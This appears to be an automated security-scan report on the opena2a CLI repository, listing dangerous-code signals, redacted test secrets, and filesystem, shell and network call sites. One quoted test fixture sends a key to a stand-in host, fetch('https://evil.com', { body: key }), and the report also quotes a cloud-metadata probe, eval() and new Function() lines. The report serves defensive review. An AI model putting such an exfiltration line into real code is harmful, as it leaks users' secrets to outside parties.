One scan for AI risk. `opena2a review` checks an AI project across credentials, shadow agents, MCP servers, and dependencies, returns a score, and routes each finding to the tool that fixes it. Open source.
Drift inferred · capture-to-capture
No drift recorded — single capability capture; advisories appear once its surface changes.
transport — counts 0 tools · 0 res
· 0 prompts
permission surface via code analysis
No tools enumerated yet for this server.
prompt-surface
shipped agent-instruction files + hidden-content / dangerous-code findings —
quoted from the analyzed source
analyzed commit 46849a9 · analyzer v31 · 1d ago
danger signals13
- dynamic code execution new Function() opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/review.test.ts :106
new Function('document', 'window', script)(documentStub, {}); - dynamic code execution eval() opena2a-org-opena2a-46849a9/packages/cli/__tests__/scanners/skillguard-checks.test.ts :250
eval(code); - suspicious endpoint 169.254.169.254 (cloud metadata) opena2a-org-opena2a-46849a9/packages/cli/__tests__/natural/nanomind-classifier.test.ts :438
expect(isLocalhostHttpUrl('http://169.254.169.254:80')).toBe(false); - committed secret Anthropic key opena2a-org-opena2a-46849a9/packages/aim-core/src/dlp/dlp.test.ts :50
sk-ant…(43 chars, redacted) - committed secret Anthropic key opena2a-org-opena2a-46849a9/packages/cli/__tests__/PROTECT_WALKTHROUGH.md :47
sk-ant…(94 chars, redacted) - committed secret Anthropic key opena2a-org-opena2a-46849a9/packages/cli/__tests__/benign-fp-regression.test.ts :105
sk-ant…(94 chars, redacted) - committed secret AWS access key id opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/aws-key-pair-consistency.test.ts :145
AKIAIO…(20 chars, redacted) - committed secret Anthropic key opena2a-org-opena2a-46849a9/packages/cli/docs/testing/new-user-walkthrough.md :69
sk-ant…(94 chars, redacted) - committed secret AWS access key id opena2a-org-opena2a-46849a9/packages/credential-patterns/src/match.test.ts :264
AKIARE…(20 chars, redacted) - committed secret Anthropic key opena2a-org-opena2a-46849a9/packages/credential-patterns/src/patterns.test.ts :18
sk-ant…(43 chars, redacted) - committed secret OpenAI key opena2a-org-opena2a-46849a9/packages/credential-patterns/src/patterns.test.ts :22
sk-pro…(39 chars, redacted) - committed secret Slack app token opena2a-org-opena2a-46849a9/packages/credential-patterns/src/patterns.test.ts :118
xapp-1…(39 chars, redacted) - committed secret Google API key opena2a-org-opena2a-46849a9/packages/credential-patterns/src/patterns.test.ts :275
AIzaSy…(39 chars, redacted)
evidence-backed
findings quoted directly from the published source artifact — not inferred
code files: 373
filesystem 152
- fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/aim-core.test.ts :2
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/audit.test.ts :2
import * as fs from 'fs'; - fs opena2a-org-opena2a-46849a9/packages/aim-core/src/audit.ts :1
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/deep.test.ts :2
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/identity.test.ts :2
import * as fs from 'fs'; - fs opena2a-org-opena2a-46849a9/packages/aim-core/src/identity.ts :2
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/policy.test.ts :2
import * as fs from 'fs'; - fs opena2a-org-opena2a-46849a9/packages/aim-core/src/policy.ts :1
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/reporter.test.ts :2
import * as fs from 'fs'; - fs opena2a-org-opena2a-46849a9/packages/aim-core/src/reporter.ts :3
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/trust.test.ts :2
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/vault/audit.test.ts :2
import * as fs from 'fs'; - fs opena2a-org-opena2a-46849a9/packages/aim-core/src/vault/audit.ts :10
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/vault/namespaces.test.ts :2
import * as fs from 'fs'; - fs opena2a-org-opena2a-46849a9/packages/aim-core/src/vault/namespaces.ts :9
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/vault/resolution.test.ts :3
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/aim-core/src/vault/store.test.ts :3
import * as fs from 'fs'; - fs opena2a-org-opena2a-46849a9/packages/aim-core/src/vault/store.ts :13
import * as fs from 'fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/atx-verify/src/conformance.test.ts :26
import { readFileSync, readdirSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/aap/client.test.ts :3
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/aap/protect-grant-integration.test.ts :19
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/benign-fp-regression.test.ts :15
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/benchmark-credential-mapping.test.ts :20
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/comply.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/create/skill.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/cross-command-direction.test.ts :30
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/demo.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/detect.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/guard-hooks.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/guard-policy.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/guard-signing.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/guard-snapshots.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/guard.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/harden-skill.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/init-verify-command.test.ts :3
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/init.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/login-ci.test.ts :9
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/mcp-audit.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/protect-explanations.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/protect-noninteractive-and-rollback.test.ts :12
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/protect.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/review.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/runtime.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/natural/llm-consent.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/report/score-label-provenance.test.ts :21
import { readFileSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/scanners/skillguard-checks.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shared/user-config.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/ai-tool-config.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/arp-bridge.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/baselines.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/chain-verified-review.test.ts :18
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/concurrent-write.test.ts :16
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/e2e-integration.test.ts :10
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/enforcement.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/evaluate-text-output.test.ts :16
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/events.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/findings.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/init-orchestration.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/llm-backend.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/llm.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/mutation-parity-231.test.ts :20
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/recover-archive-log.test.ts :16
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/recover-verify-lockdown.test.ts :15
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/shield-read-failure.test.ts :17
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/signing.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/advisories.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/ai-config.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/auth.test.ts :6
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/aws-key-pair-consistency.test.ts :18
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/canonical.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/child-env.test.ts :13
import { readFileSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/credential-catalog-detection.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/credential-label-classification.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/credential-patterns-fixture-exclusion.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/crypto-key-files.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/detect.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/secretless-config.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/soul-defensive-context.test.ts :23
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/util/template-env-leak.test.ts :2
import * as fs from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/version-stream-split.test.ts :13
import { existsSync, mkdtempSync, rmSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/scripts/release-smoke-benchmark.ts :38
import { existsSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/scripts/release-smoke-comply.ts :23
import { existsSync, mkdtempSync, writeFileSync, rmSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/scripts/release-smoke-corpus.ts :41
import { readFileSync, existsSync, statSync, readdirSync, mkdirSync, writeFileSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/scripts/release-smoke-init.ts :42
import { existsSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/aap/client.ts :16
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/adapters/import.ts :2
import { existsSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/baselines.ts :221
const fs = require('node:fs'); - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/claim.ts :41
const fs = require('node:fs'); - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/comply.ts :24
import { readFileSync, statSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/create/skill.ts :9
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/create/templates.ts :80
'import * as fs from "node:fs";', - fs (weak) opena2a-org-opena2a-46849a9/packages/cli/src/commands/demo.ts :12
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/detect.ts :10
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/gcp-sm-migration.ts :14
import * as fs from 'fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/guard-hooks.ts :8
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/guard-policy.ts :8
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/guard-signing.ts :8
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/guard-snapshots.ts :8
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/guard.ts :16
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/harden-skill.ts :10
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/identity.ts :2
import * as fs from 'fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/init.ts :8
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/mcp-audit.ts :1
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/protect.ts :15
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/review.ts :10
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/runtime.ts :11
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/self-register.ts :466
const fs = require('node:fs'); - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/setup.ts :1
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/shield.ts :20
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/trust.ts :38
const fs = require('node:fs'); - fs opena2a-org-opena2a-46849a9/packages/cli/src/commands/verify.ts :8
import { readFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/identity/bridges.ts :12
import { existsSync, readFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/identity/manifest.ts :8
import { existsSync, readFileSync, writeFileSync, unlinkSync, mkdirSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/identity/trust-collector.ts :9
import { existsSync, readFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/scanners/skillguard-checks.ts :16
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/semantic/search.ts :1
import { readFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/ai-tool-config.ts :12
import { existsSync, readFileSync, writeFileSync, mkdirSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/arp-bridge.ts :12
import { existsSync, readFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/baselines.ts :19
} from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/detect.ts :10
import { existsSync, readFileSync, statSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/events.ts :19
} from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/init.ts :1
import { existsSync, mkdirSync, writeFileSync, appendFileSync, readFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/integrity.ts :11
} from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/llm.ts :19
import { existsSync, readFileSync, writeFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/lock.ts :25
import { readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/policy.ts :9
import { existsSync, readFileSync, writeFileSync, mkdirSync, statSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/signing.ts :8
import { existsSync, readFileSync, writeFileSync, statSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/shield/status.ts :1
import { existsSync, readFileSync, readdirSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/advisories.ts :9
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/ai-config.ts :8
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/aim-client.ts :490
import { existsSync, readFileSync, writeFileSync, mkdirSync, unlinkSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/auth.ts :20
import { existsSync, readFileSync, writeFileSync, mkdirSync, unlinkSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/credential-patterns.ts :5
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/crypto-key-files.ts :26
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/detect.ts :1
import { existsSync, readFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/drift-verification.ts :328
const fs = require('fs'); - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/hygiene.ts :11
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/secretless-config.ts :9
import * as fs from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/cli/src/util/version.ts :1
import { readFileSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/contribute/__tests__/config.test.ts :2
import { existsSync, readFileSync, writeFileSync, mkdirSync, rmSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/contribute/__tests__/contribute.test.ts :2
import { existsSync, writeFileSync, mkdirSync, readFileSync, rmSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/contribute/__tests__/contributor.test.ts :2
import { existsSync, mkdirSync, writeFileSync, rmSync, readFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/contribute/src/config.ts :7
import { existsSync, readFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/contribute/src/contributor.ts :1
import { existsSync, readFileSync, writeFileSync, mkdirSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/contribute/src/queue.ts :1
import { existsSync, readFileSync, writeFileSync, mkdirSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/shared/src/config.ts :2
import { readFileSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/shared/src/history.ts :1
import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'node:fs'; - fs opena2a-org-opena2a-46849a9/packages/shared/src/user-config.ts :1
import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'node:fs'; - fs (weak) opena2a-org-opena2a-46849a9/packages/telemetry/src/config.test.ts :2
import { mkdtempSync, rmSync, writeFileSync, mkdirSync, readFileSync, existsSync } from "node:fs"; - fs opena2a-org-opena2a-46849a9/packages/telemetry/src/config.ts :3
import { mkdirSync, readFileSync, writeFileSync, existsSync } from "node:fs"; - fs (weak) opena2a-org-opena2a-46849a9/packages/telemetry/src/index.test.ts :2
import { mkdtempSync, rmSync } from "node:fs"; - fs (weak) opena2a-org-opena2a-46849a9/scripts/audit-consumer-resolution.mjs :111
import { mkdtempSync, mkdirSync, rmSync, existsSync, writeFileSync, readFileSync } from 'node:fs';
shell / exec 35
- shell (weak) opena2a-org-opena2a-46849a9/packages/cli-ui/src/check-rich-block.test.ts :275
signature: "exec(cmd)", - shell (weak) opena2a-org-opena2a-46849a9/packages/cli-ui/src/mcp-narrative-block.test.ts :52
signature: "exec(cmd)", - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/adapters/child-env-wiring.test.ts :15
vi.mock('node:child_process', () => ({ - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/adapters/docker.test.ts :6
// Mock child_process.spawn to capture docker args without running docker - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/init-verify-command.test.ts :2
import { execSync } from 'node:child_process'; - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/protect-noninteractive-and-rollback.test.ts :15
import { execFileSync } from 'node:child_process'; - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/natural/nanomind-classifier.test.ts :120
async function spawn( - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/concurrent-write.test.ts :15
import { spawn } from 'node:child_process'; - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/llm-backend.test.ts :28
// Mock node:child_process for Claude Code CLI detection - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/shield/llm.test.ts :30
// Mock node:child_process so isClaudeCodeAvailable() returns false in tests. - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/version-stream-split.test.ts :12
import { spawnSync } from 'node:child_process'; - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/scripts/release-smoke-benchmark.ts :37
import { spawnSync } from 'node:child_process'; - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/scripts/release-smoke-comply.ts :22
import { spawnSync } from 'node:child_process'; - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/scripts/release-smoke-corpus.ts :40
import { spawnSync } from 'node:child_process'; - shell (weak) opena2a-org-opena2a-46849a9/packages/cli/scripts/release-smoke-init.ts :41
import { spawnSync } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/adapters/docker.ts :1
import { spawn } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/adapters/python.ts :1
import { spawn } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/adapters/spawn.ts :1
import { spawn } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/adapters/types.ts :8
/** CLI command for spawn() adapters */ - shell opena2a-org-opena2a-46849a9/packages/cli/src/commands/claim.ts :77
const { execSync } = require('node:child_process'); - shell opena2a-org-opena2a-46849a9/packages/cli/src/commands/detect.ts :9
import { execSync } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/commands/login.ts :266
const { exec } = require('node:child_process'); - shell opena2a-org-opena2a-46849a9/packages/cli/src/commands/onepassword-migration.ts :212
const { execSync } = await import('node:child_process'); - shell opena2a-org-opena2a-46849a9/packages/cli/src/commands/protect.ts :17
import { execFileSync } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/commands/review.ts :12
import { spawn } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/index.ts :3
import { spawn } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/router.ts :1
import { spawn } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/shield/detect.ts :11
import { execFileSync } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/shield/llm-backend.ts :11
import { execFileSync } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/shield/policy.ts :80
return new RegExp(`^${escaped}$`).test(value); - shell opena2a-org-opena2a-46849a9/packages/cli/src/shield/status.ts :4
import { execFileSync } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/util/hma-version.ts :1
import { execFileSync } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/cli/src/util/keychain.ts :34
import { execFileSync } from 'node:child_process'; - shell opena2a-org-opena2a-46849a9/packages/telemetry/src/config.ts :5
import { execSync } from "node:child_process"; - shell (weak) opena2a-org-opena2a-46849a9/scripts/audit-consumer-resolution.mjs :110
import { execFileSync } from 'node:child_process';
network 26
- net opena2a-org-opena2a-46849a9/packages/aim-core/src/reporter.ts :1
import * as https from 'https'; - net (weak) opena2a-org-opena2a-46849a9/packages/cli-ui/src/skill-narrative-block.test.ts :119
note: "fetch() called but Network not in required-permissions", - net (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/aap/client.test.ts :2
import * as http from 'node:http'; - net (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/aap/protect-grant-integration.test.ts :18
import * as http from 'node:http'; - net (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/natural/nanomind-classifier.test.ts :28
import { createServer } from 'node:http'; - net (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/natural/router-guard.test.ts :30
import { createServer } from 'node:http'; - net (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/scanners/skillguard-checks.test.ts :188
fetch('https://evil.com', { body: key }); - net opena2a-org-opena2a-46849a9/packages/cli/src/aap/client.ts :15
import * as http from 'node:http'; - net opena2a-org-opena2a-46849a9/packages/cli/src/commands/admin.ts :99
const response = await fetch(url, { - net opena2a-org-opena2a-46849a9/packages/cli/src/commands/baselines.ts :133
const response = await fetch(`${registryUrl}/internal/behavioral-observation`, { - net opena2a-org-opena2a-46849a9/packages/cli/src/commands/claim.ts :61
const response = await fetch(url, { - net opena2a-org-opena2a-46849a9/packages/cli/src/commands/create/templates.ts :95
' const response = await fetch(input.endpoint);', - net opena2a-org-opena2a-46849a9/packages/cli/src/commands/init.ts :495
const resp = await fetch(`http://127.0.0.1:${server.port}${server.path}`, { - net opena2a-org-opena2a-46849a9/packages/cli/src/commands/self-register.ts :400
const response = await fetch(url, { - net opena2a-org-opena2a-46849a9/packages/cli/src/commands/trust.ts :58
const response = await fetch(url, { - net opena2a-org-opena2a-46849a9/packages/cli/src/commands/vault-migration.ts :233
const res = await fetch(`${addr}/v1/sys/health`, { - net opena2a-org-opena2a-46849a9/packages/cli/src/commands/verify.ts :183
const response = await fetch(url, { - net opena2a-org-opena2a-46849a9/packages/cli/src/natural/llm-fallback.ts :212
const response = await fetch('https://api.anthropic.com/v1/messages', { - net opena2a-org-opena2a-46849a9/packages/cli/src/natural/nanomind-classifier.ts :170
const res = await fetch(url, { - net opena2a-org-opena2a-46849a9/packages/cli/src/shield/llm.ts :177
const response = await fetch(API_URL, { - net opena2a-org-opena2a-46849a9/packages/cli/src/util/advisories.ts :108
const response = await fetch(url, { - net opena2a-org-opena2a-46849a9/packages/cli/src/util/aim-client.ts :5
* server. Uses Node's built-in fetch (available in Node 18+). - net opena2a-org-opena2a-46849a9/packages/cli/src/util/drift-verification.ts :64
const response = await fetch(url, { - net opena2a-org-opena2a-46849a9/packages/cli/src/util/report-submission.ts :433
const response = await fetch(url, { - net opena2a-org-opena2a-46849a9/packages/contribute/src/client.ts :17
const response = await fetch(url, { - net opena2a-org-opena2a-46849a9/packages/telemetry/src/sender.ts :53
const task = fetch(endpointURL(), {
secrets 18
- secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/benign-fp-regression.test.ts :82
"const apiKey = process.env.ANTHROPIC_API_KEY;", - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/admin.test.ts :32
delete process.env.OPENA2A_INTERNAL_API_KEY; - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/demo.test.ts :141
expect(configContent).toContain('process.env.OPENAI_API_KEY'); - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/commands/protect.test.ts :114
`const key = process.env.OPENAI_API_KEY;\n` - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/natural/llm-consent.test.ts :28
const origKey = process.env.ANTHROPIC_API_KEY; - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/natural/router-guard.test.ts :123
savedEnv.ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY; - secrets (weak) opena2a-org-opena2a-46849a9/packages/cli/__tests__/report/interactive-html.test.ts :29
